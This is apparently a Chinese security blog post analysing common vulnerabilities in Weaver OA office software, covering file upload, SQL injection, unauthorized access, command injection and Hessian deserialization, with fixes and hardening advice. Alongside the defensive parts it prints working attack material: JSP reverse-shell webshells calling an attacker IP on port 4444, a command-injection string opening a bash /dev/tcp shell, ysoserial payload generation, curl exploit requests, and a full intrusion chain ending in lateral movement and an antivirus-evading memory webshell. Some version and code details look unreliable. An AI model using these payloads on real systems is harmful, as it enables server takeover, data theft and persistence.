【Web安全】泛微OA框架SRC高频漏洞分析总结

文章目录

⚠️本博文所涉安全渗透测试技术、方法及案例,仅用于网络安全技术研究与合规性交流,旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前,必须获得目标网络 / 系统所有者的明确且书面授权,严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。

前言

泛微OA是国内主流的企业级协同办公系统,由泛微网络开发维护,涵盖e-cology(大型企业版)e-office(中小企业版)e-wechat(移动办公版) 三大核心产品线,广泛应用于金融、政府、互联网、制造业等领域,承担企业内部流程审批、文档管理、客户关系维护、数据统计分析等核心业务。

其架构核心为"前端门户(用户交互层)"、"应用服务器(业务逻辑层,基于Java EE开发)"、"数据库(数据存储层,主流适配MySQL、Oracle)",部分版本还集成Apache Commons Collections、Hessian等第三方组件。随着部署范围扩大,低版本系统因安全设计缺陷 (如文件校验缺失)、配置默认化 (弱口令、未授权接口)、组件漏洞遗留(反序列化、命令注入),暴露出高频安全漏洞,成为安全响应中心(SRC)常见事件诱因,可能导致企业敏感数据泄露(员工信息、财务数据)、服务器被控、内网横向渗透等严重后果。本文针对泛微OA高频漏洞展开深度分析,为安全防护提供参考。

一、核心漏洞分类与技术细节

1. 文件上传漏洞(e-cology <=8.5.0、e-office <=10.1)

漏洞原理

泛微OA文件上传模块(如weaver.fileupload.FileUploadActione-office/portal/attachment.jsp)对上传文件的校验存在缺陷:

  • 仅依赖前端JS校验文件后缀,后端未二次验证;
  • 未严格校验文件MIME类型与实际内容,允许篡改文件标识绕过;
  • 部分版本上传路径默认位于Tomcat webapps目录下,且未禁用脚本执行权限,导致上传的可执行脚本(.jsp、.jspx)可直接运行。
利用场景

攻击者通过Burp Suite拦截文件上传请求,将正常文档(如.docx)后缀修改为.jsp,写入反弹Shell代码(如Java Runtime执行系统命令),上传后访问文件存储路径即可获取服务器权限。例如:

  1. 登录泛微e-cology"文档中心",发起文件上传请求;
  2. 拦截请求并修改filenameshell.jsp,文件内容为:
jsp 复制代码
<%@ page import="java.io.*"%>
<% 
Runtime.getRuntime().exec("bash -i >& /dev/tcp/attacker_ip/4444 0>&1"); 
%>
  1. 访问http://target:8080/e-cology/attachment/shell.jsp,攻击机监听4444端口获取Shell。
修复方案
  • 升级至安全版本:e-cology 8.5.10+、e-office 10.2+(官方修复文件校验逻辑);
  • 后端加固:增加文件后缀白名单 (仅允许.docx、.pdf、.jpg等常用格式),并校验文件内容(如JPG文件首字节FF D8);
  • 路径配置:将上传文件存储路径移出Tomcat webapps目录,或通过web.xml配置禁用上传目录脚本执行权限。

2. SQL注入漏洞(e-cology <=9.0.5、e-office <=9.8)

漏洞原理

泛微OA部分业务接口(如流程查询、用户管理)未使用预编译语句(PreparedStatement),直接拼接用户输入作为SQL语句执行,导致SQL注入。典型风险接口包括:

  • e-cology/weaver/common/Ctrl?id=1id参数未过滤);
  • e-office/hr/manage/query.jsp?dept=ITdept参数直接拼接进SELECT语句);
  • 启用BshServlet/weaver/bsh.servlet.BshServlet)时,可通过BeanShell执行SQL语句。
利用场景

攻击者通过SQL注入获取管理员账号密码哈希:

  1. 访问http://target:8080/e-cology/weaver/common/Ctrl?id=1 AND 1=2 UNION SELECT 1,username,password,4 FROM sys_user WHERE role=1
  2. 提取响应中的username=adminpassword=e10adc3949ba59abbe56e057f20f883e(MD5加密的"123456");
  3. 通过彩虹表破解哈希,获取管理员明文密码。
修复方案
  • 升级至e-cology 9.0.15+、e-office 9.9+(官方修复注入点,统一使用预编译语句);
  • 接口加固:对用户输入进行严格过滤(如过滤UNIONANDOR等关键词),使用参数化查询;
  • 禁用危险组件:删除WEB-INF/lib中的bsh.jar,关闭BshServlet

3. 未授权访问漏洞(全版本默认配置)

漏洞原理

泛微OA部分核心接口未配置身份认证,攻击者无需登录即可访问敏感数据或执行操作:

  • 数据接口:/e-cology/services/WorkflowService?wsdl(未授权获取流程数据)、/e-office/api/user/list(未授权获取员工信息);
  • 功能接口:/weaver/weaver.report.reportViewAction(未授权导出财务报表)、/e-cology/portal/notice.jsp(未授权查看内部公告)。
利用场景

攻击者通过未授权接口批量窃取企业敏感数据:

  1. 访问http://target:8080/e-office/api/user/list,直接获取员工姓名、手机号、邮箱等信息;
  2. 调用WorkflowService接口,下载所有审批流程表单(含合同、报销单等机密数据);
  3. 将数据整理后用于社工攻击或黑产交易。
修复方案
  • 配置接口权限:在泛微OA后台"系统管理-接口权限"中,为所有/services/*/api/*接口添加登录校验;
  • 网络隔离:禁止泛微OA服务器直接暴露公网,仅允许企业内网或VPN访问;
  • 增加Token验证:自定义开发接口时,引入accessToken机制,校验请求合法性。

4. 命令注入漏洞(e-cology <=8.2.0、e-office <=10.0)

漏洞原理

泛微OA"系统备份""日志导出"等功能模块存在命令拼接缺陷:

  • 备份功能中,backupPath参数直接拼接进cmd.exe /c xcopybash cp命令;
  • 日志导出功能中,logName参数未过滤特殊字符(如;|),可注入额外系统命令。
利用场景

攻击者通过备份功能注入命令获取服务器权限:

  1. 登录泛微OA管理员后台,进入"系统管理-数据备份";
  2. 在"备份路径"输入框中填写C:\backup;bash -i >& /dev/tcp/attacker_ip/4444 0>&1
  3. 点击"开始备份",系统执行拼接后的命令,攻击机监听端口获取反弹Shell。
修复方案
  • 升级至e-cology 8.2.10+、e-office 10.1+(官方修复命令拼接逻辑,使用参数化调用);
  • 输入过滤:对backupPathlogName等参数过滤;|&等特殊字符;
  • 最小权限:运行泛微OA的Tomcat服务使用普通用户权限,禁止root/Administrator权限。

5. Hessian反序列化漏洞(e-cology <=7.5.0)

漏洞原理

泛微e-cology低版本使用Hessian协议进行远程调用(如调度中心与子模块通信),未对序列化数据进行过滤,结合Apache Commons Collections 3.1(含反序列化漏洞组件),攻击者可构造恶意序列化数据,触发任意代码执行。

利用场景

攻击者通过反序列化注入内存马实现持久化控制:

  1. 使用ysoserial工具生成Hessian反序列化POC(基于CommonsCollections1gadget):
bash 复制代码
java -jar ysoserial.jar CommonsCollections1 "bash -i >& /dev/tcp/attacker_ip/4444 0>&1" > poc.ser
  1. 通过curl发送POC至Hessian接口:
bash 复制代码
curl -X POST "http://target:8080/e-cology/hessian/service" \
-H "Content-Type: x-application/hessian" \
--data-binary @poc.ser
  1. 攻击机获取Shell后,植入冰蝎内存马(无文件落地,躲避杀软检测)。
修复方案
  • 升级至e-cology 7.5.20+(官方移除Hessian协议,改用HTTP+JSON通信);
  • 组件升级:将Apache Commons Collections升级至4.4+(修复反序列化漏洞);
  • 禁用危险协议:在application.properties中配置hessian.enable=false

二、漏洞关联利用与攻击路径

1. 组合攻击示例(泛微e-cology全漏洞链)

步骤1:未授权信息收集

访问http://target:8080/e-cology/services/WorkflowService?wsdl,获取企业组织架构、管理员账号(如admin)及流程接口路径。

步骤2:SQL注入破解密码

利用/weaver/common/Ctrl接口注入SQL,查询sys_user表获取admin的密码哈希(如e10adc3949ba59abbe56e057f20f883e),通过彩虹表破解为明文123456

步骤3:文件上传植入后门

使用admin/123456登录后台,进入"文档中心",上传伪装为test.docx的JSP后门(修改后缀为.jsp),获取后门路径http://target:8080/e-cology/attachment/backdoor.jsp

步骤4:内网横向渗透

通过后门获取服务器内网IP段(如192.168.1.0/24),使用Nmap扫描内网其他泛微OA实例(默认端口8080、80),复用上述漏洞扩散控制范围。

2. 典型攻击载荷

(1)文件上传反弹Shell(e-cology)
bash 复制代码
curl -X POST "http://target:8080/e-cology/weaver/weaver.fileupload.FileUploadAction" \
-H "Cookie: JSESSIONID=ABC123DEF456;" \
-F "file=@shell.jsp;filename=shell.jsp" \
-F "fileType=doc"
(2)SQL注入获取管理员密码(e-office)
bash 复制代码
curl "http://target:8080/e-office/hr/manage/query.jsp?dept=IT' UNION SELECT 1,username,password,4 FROM sys_admin-- "
(3)Hessian反序列化POC生成(e-cology 7.5)
java 复制代码
// 基于ysoserial CommonsCollections1 gadget
import ysoserial.payloads.CommonsCollections1;
import java.io.FileOutputStream;

public class HessianPOC {
    public static void main(String[] args) throws Exception {
        CommonsCollections1 cc1 = new CommonsCollections1();
        byte[] payload = cc1.getPayload("bash -i >& /dev/tcp/1.1.1.1/4444 0>&1");
        FileOutputStream fos = new FileOutputStream("poc.ser");
        fos.write(payload);
        fos.close();
    }
}

三、版本演进与修复策略

漏洞类型 影响版本 修复版本 核心变更点
文件上传漏洞 e-cology <=8.5.0 e-office <=10.1 e-cology 8.5.10+ e-office 10.2+ 增加后端文件后缀白名单与内容校验,禁用上传目录脚本执行权限
SQL注入漏洞 e-cology <=9.0.5 e-office <=9.8 e-cology 9.0.15+ e-office 9.9+ 统一使用预编译语句,修复/weaver/common/Ctrl等注入点
未授权访问漏洞 全版本默认配置 e-cology 9.5.0+ e-office 10.3+ /services/*/api/*接口添加登录校验,新增接口权限管理模块
命令注入漏洞 e-cology <=8.2.0 e-office <=10.0 e-cology 8.2.10+ e-office 10.1+ 修复备份/日志模块命令拼接,过滤特殊字符,使用参数化命令调用
Hessian反序列化 e-cology <=7.5.0 e-cology 7.5.20+ 移除Hessian协议,升级Apache Commons Collections至4.4+,关闭危险反序列化入口

四、安全运维建议

1. 基础防护

  • 网络隔离:泛微OA服务器不直接暴露公网,通过堡垒机或VPN供内部员工访问;禁止9999、8080等非必要端口对外开放(仅允许办公网IP访问)。
  • 配置加固
    • 修改默认账号密码:强制将admin默认密码(123456、weaver123)改为"大小写字母+数字+特殊符号"组合;
    • 禁用危险功能:关闭BshServlet、Hessian协议,删除bsh.jar等风险组件;
    • 数据库防护:限制泛微OA服务器IP仅能访问数据库,禁止数据库账号远程登录。

2. 动态监测

  • WAF规则拦截
    • 拦截文件上传请求:过滤.jsp.jspx.asp等可执行后缀,拦截包含<%Runtime.exec的文件内容;
    • 拦截注入请求:拦截含UNIONAND 1=1OR等SQL注入关键词的请求;
    • 拦截命令注入:过滤含;|&的备份路径、日志名称参数。
  • 日志审计
    • 监控登录日志:重点关注异地登录、多次登录失败(防范暴力破解);
    • 监控操作日志:跟踪文件上传、数据导出、系统备份等敏感操作(发现异常及时阻断);
    • 定期导出日志:使用ELK等工具分析日志,识别潜在攻击行为。

3. 版本管理

  • 定期版本检查 :通过泛微OA后台"系统设置-关于"查看版本,对照官方漏洞公告确认是否存在风险;使用泛微官方工具(如e-cology漏洞检测工具.exe)扫描当前系统漏洞。
  • 自动化升级:在CI/CD流程中集成OWASP Dependency-Check工具,检测泛微OA依赖组件的漏洞;官方发布安全补丁后,72小时内完成测试与升级(优先升级生产环境)。

五、典型漏洞复现环境搭建

1. 环境配置(以泛微e-cology 8.0为例)

步骤1:环境准备
  • 操作系统:Windows Server 2012 R2(或Linux CentOS 7);
  • 依赖软件:JDK 1.8(配置JAVA_HOME)、Tomcat 8.5(端口8080)、MySQL 5.7(编码utf8mb4);
  • 漏洞版本:泛微e-cology 8.0(可从Vulhub或第三方漏洞环境平台获取)。
步骤2:初始化部署
  1. e-cology-8.0.war放入Tomcat的webapps目录,启动Tomcat自动解压;
  2. 访问http://localhost:8080/e-cology/,进入安装向导,填写MySQL连接信息(数据库名ecology8,用户名root,密码123456);
  3. 执行官方初始化SQL脚本(ecology8_init.sql),等待部署完成。
步骤3:服务启动
  • 启动MySQL:net start mysql(Windows)或systemctl start mysqld(Linux);
  • 启动Tomcat:运行Tomcat/bin/startup.bat(Windows)或startup.sh(Linux);
  • 验证访问:访问http://localhost:8080/e-cology/login.jsp,使用默认账号admin/123456登录。

2. 漏洞验证(文件上传漏洞)

步骤1:构造恶意文件

创建shell.jsp,内容为:

jsp 复制代码
<%@ page import="java.io.*"%>
<% 
// 反弹Shell到攻击机(192.168.1.100:4444)
Process p = Runtime.getRuntime().exec("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");
InputStream is = p.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(is));
String line = null;
while((line = br.readLine()) != null) {
    out.println(line);
}
%>
步骤2:拦截并篡改请求
  1. 打开Burp Suite,设置代理拦截浏览器请求;
  2. 登录泛微OA,进入"文档中心-上传文档",选择shell.jsp(前端会提示"不允许上传该类型文件",忽略);
  3. 拦截上传请求,修改filename="shell.jsp"(原请求可能为filename="shell.jsp.docx"),删除前端校验相关参数(如fileType=docx);
  4. 发送请求,响应中会返回文件存储路径(如/e-cology/attachment/shell.jsp)。
步骤3:触发漏洞
  1. 攻击机执行nc -lvp 4444(监听4444端口);
  2. 访问http://localhost:8080/e-cology/attachment/shell.jsp,攻击机成功获取反弹Shell。

3. 参考链接

六、总结

泛微OA的高频漏洞多源于设计缺陷 (如文件校验缺失、命令拼接)、配置默认化 (弱口令、未授权接口)、第三方组件漏洞(Apache Commons Collections、Hessian),作为企业核心办公系统,漏洞一旦被利用,可能导致敏感数据泄露、业务中断,甚至成为内网渗透的"突破口"。

本文是「Web安全」系列内容,点击专栏导航查看全部内容。

相关推荐
emma羊羊10 小时前
【weblogic】文件上传漏洞
安全·网络安全·靶场·weblogic
jenchoi41311 小时前
【2025-11-01】软件供应链安全日报:最新漏洞预警与投毒预警情报汇总
网络·安全·web安全·网络安全
沐矢羽12 小时前
upload文件上传漏洞浅析
学习·web安全·网络安全·文件上传·top10
TOM写代码13 小时前
详解网络安全免杀对抗:攻防的猫鼠游戏
安全·web安全·网络安全
Pure_White_Sword13 小时前
Bugku-Web题目-cookies
web安全·网络安全·ctf
NewCarRen15 小时前
自动驾驶汽车与利益相关者互动的功能安全与网络安全分析方法
安全·网络安全·自动驾驶·汽车
Bruce_Liuxiaowei16 小时前
SMB签名关闭的安全风险探讨
运维·windows·安全·网络安全
贝塔实验室17 小时前
译码器的结构
驱动开发·算法·网络安全·fpga开发·硬件工程·信息与通信·信号处理
Cyyyy_g19 小时前
【2025 SWPU-NSSCTF 秋季训练赛】gift_F12
网络协议·网络安全·https·状态模式